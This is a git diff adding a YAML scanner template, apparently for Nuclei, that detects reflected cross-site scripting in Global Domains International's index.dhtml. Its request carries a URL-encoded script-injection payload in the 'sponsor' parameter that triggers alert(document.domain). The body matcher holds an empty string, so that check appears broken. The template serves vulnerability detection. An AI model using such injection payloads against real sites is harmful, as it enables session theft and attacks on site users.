diff --git a/vulnerabilities/other/global-domains-xss.yaml b/vulnerabilities/other/global-domains-xss.yaml new file mode 100644 index 0000000000..e8bae27057 --- /dev/null +++ b/vulnerabilities/other/global-domains-xss.yaml @@ -0,0 +1,29 @@ +id: global-domains-xss + +info: + name: Global Domains International XSS + author: princechaddha + severity: medium + reference: https://cxsecurity.com/issue/WLB-2018020247 + tags: globaldomains,xss + +requests: + - method: GET + path: + - "{{BaseURL}}/index.dhtml?sponsor=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E" + + matchers-condition: and + matchers: + - type: word + part: body + words: + - "" + + - type: word + part: header + words: + - text/html + + - type: status + status: + - 200